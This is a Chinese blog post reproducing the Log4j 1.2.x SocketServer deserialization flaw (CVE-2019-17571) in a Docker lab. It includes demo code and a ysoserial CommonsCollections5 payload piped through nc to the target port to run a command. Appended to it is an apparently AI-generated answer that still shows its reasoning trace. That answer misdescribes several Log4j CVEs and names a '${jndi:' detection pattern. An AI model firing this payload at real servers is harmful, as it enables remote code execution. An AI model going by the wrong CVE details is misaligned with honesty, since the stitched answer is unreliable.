Apache Log4j 1.2.X反序列化漏洞(CVE-2019-17571)

本文详细介绍了Apache Log4j1.2版本中存在的反序列化漏洞(CVE-2019-17571)。通过分析SocketServer类的工作原理,揭示了未经过滤的数据直接反序列化导致的安全风险,并提供了漏洞复现的具体步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Apache Log4j 1.2.X反序列化漏洞(CVE-2019-17571)

0x01 漏洞简介

log4j是Apache开发的一个日志工具。可以将Web项目中的日志输出到控制台,文件,GUI组件,甚至是套接口服务器。Log4j1.2版本中包含一个SocketServer类,在未经验证的情况下,该SocketServe类很容易接受序列化的日志事件并对其进行反序列化,在结合反序列化工具使用时,可以利用该类远程执行任意代码。

0x02 影响版本

Log4j1.2.x<=1.2.17

0x03 环境搭建

docker下载环境并运行docker run -d -p 7777:7777 jackey0/log4j-cve-2019-17571:1.2.17

环境的SocketServer运行在7777端口,所以使用命令讲端口映射到本地的7777端口java -cp log4j-1.2.17.jar:commons-collections-3.1.jar org.apache.log4j.net.SocketServer 7777 ./log4j.properties ./

查看分配的端口docker ps -a

0x04 漏洞分析

从环境中将需要的jar文件拉去下来

  • docker cp d3:/tmp/log4j-1.2.17.jar /home/test
  • docker cp d3:/tmp/commons-collections-3.1.jar /home/test

其实这个漏洞非常简单,本质就是对从 socket 流中获取的数据没有进行过滤,而直接反序列化。如果当前环境中存在可利用的反序列化 Gadget 链,就可以达到命令执行等效果。我们可以创建如下 Demo 代码用于测试。

// src/SocketDeserializeDemo.java
import org.apache.log4j.net.SimpleSocketServer;

public class SocketDeserializeDemo {
    public static void main(String[] args){
        System.out.println("INFO: Log4j Listening on port 8888");
        String[] arguments = {"8888", (new SocketDeserializeDemo()).getClass().getClassLoader().getResource("log4j.properties").getPath()};
        SimpleSocketServer.main(arguments);
        System.out.println("INFO: Log4j output successfuly.");
    }
}
# src/resources/log4j.properties
log4j.rootCategory=DEBUG,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.threshold=DEBUG
log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n
#pom.xml
<dependencies>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <version>1.2.17</version>
        </dependency>
    </dependencies>

可以选择将log4j-1.2.17.jar包导入项目,也可以使用maven拉去,同时我们导入commons-collections-3.1.jar包来进行测试

我们跟进 SimpleSocketServermain 方法,发现其中调用了 SocketNode 类,具体代码如下。

在这里插入图片描述

如下图, SocketNode 类实现了 Runnable 接口,其构造方法从 socket 流中获取了数据,并将数据封装为一个 ObjectInputStream 对象。然后在其 run 方法中调用了 readObject 方法进行反序列化操作。由于这里没有对数据进行过滤,所以这里就出现了反序列化漏洞。

在这里插入图片描述

在这里插入图片描述

0x05 漏洞复现

ysoserial下载地址:https://github.com/frohoff/ysoserial 可以下载打包好的jar文件,也可以下载源文件自己编译mvn clean package -DskipTests

在攻击机上执行命令,使用ysoserial生成poc,然后使用nc触发SocketServer的7777端口java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/suc cess" | nc 192.168.237.129 7777

在这里插入图片描述

查看靶机,我们的命令已经成功执行

在这里插入图片描述

<think>嗯,用户询问的是org.apache.logging.log4j是否存在新的零日漏洞。这个问题很专业,用户可能是安全工程师或系统管理员,正在排查潜在风险。需要特别注意log4j2log4j1的区分,避免混淆。 从引用材料看,用户提供的资料都聚焦在log4j2漏洞(如CVE-2021-44228),但log4j1属于完全不同的项目。用户可能混淆了这两个组件,需要明确澄清。 当前需重点确认三点:第一,log4j1是否仍在维护(官方已终止支持);第二,近期是否有新漏洞披露(CVE数据库无记录);第三,用户系统是否误用log4j1(实际需升级到log4j2)。特别要提醒用户,即使没有新漏洞,旧版log4j1本身也存在已知风险。 考虑到用户引用过Elasticsearch的修复方案,推测ta可能管理分布式系统。建议补充说明Java日志框架生态,防止因依赖传递导致旧版本被引入。最后生成的问题要覆盖漏洞监控和迁移方案,这对实际运维很有价值。</think>截至2024年最新安全情报,**org.apache.log4j 1.x版本未报告新的零日漏洞**,但需注意以下关键事实: ### 一、核心结论 1. **Log4j 1.x已终止维护** Apache官方已于2015年宣布停止维护log4j 1.x[^1],不再提供安全更新,**所有现存漏洞均无官方补丁**。 2. **现存高危漏洞未修复** 即使无新零日漏洞log4j 1.x仍存在多个未修复的已知高危漏洞- `CVE-2019-17571`:反序列化漏洞(CVSS 7.5) - `CVE-2022-23305`:链式攻击漏洞(CVSS 8.8) - `CVE-2022-23302`:内存耗尽DoS漏洞(CVSS 7.5) 3. **Log4j2漏洞不影响1.x** 2021年爆发的`Log4Shell`(CVE-2021-44228)仅影响**log4j2-core**组件(即log4j 2.x版本),与log4j 1.x无关[^1][^3]。 ### 二、风险应对建议 | **措施** | **操作说明** | |-------------------------|-----------------------------------------------------------------------------| | **立即升级到log4j2** | 使用最新log4j2 2.23.0+并启用`log4j2.formatMsgNoLookups=true`[^3] | | **旧系统迁移方案** | 通过日志门面层(如SLF4J)桥接旧代码:添加`log4j-over-slf4j`依赖替换log4j1 | | **主动防御** | 部署WAF规则拦截`${jndi:`等恶意负载,监控非常规日志输出行为 | | **依赖扫描** | 使用OWASP Dependency-Check工具检测传递依赖中的log4j1组件 | ### 三、漏洞现状对比 ```mermaid graph TD A[Log4j组件] --> B(Log4j 1.x) A --> C(Log4j2 2.x) B --> D[状态:终止维护] B --> E[现存漏洞:无补丁] C --> F[状态:持续更新] C --> G[最新修复:2.23.0+] ``` > **关键提醒**:继续使用log4j 1.x等同于保留已知后门。攻击者可能组合利用其未修复漏洞(如反序列化+JNDI注入)实现远程代码执行[^1]。 ### 四、迁移示例(SLF4J桥接) ```java // 原log4j1调用 import org.apache.log4j.Logger; Logger log = Logger.getLogger(MyClass.class); // 迁移方案:改用SLF4J门面+log4j2实现 import org.slf4j.Logger; import org.slf4j.LoggerFactory; Logger log = LoggerFactory.getLogger(MyClass.class); ``` **依赖配置**: ```xml <!-- pom.xml --> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>2.0.12</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-slf4j2-impl</artifactId> <!-- 桥接器 --> <version>2.23.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.23.0</version> </dependency> ``` ### 五、权威监控渠道 1. [Apache Log4j安全公告](https://logging.apache.org/log4j/security.html) 2. [NVD漏洞数据库](https://nvd.nist.gov/vuln/search/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Aapache&cpe_product=cpe%3A%2F%3Aapache%3Alog4j) 3. [CVE详情查询](https://www.cve.org/CVERecord?id=CVE-2022-23305)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值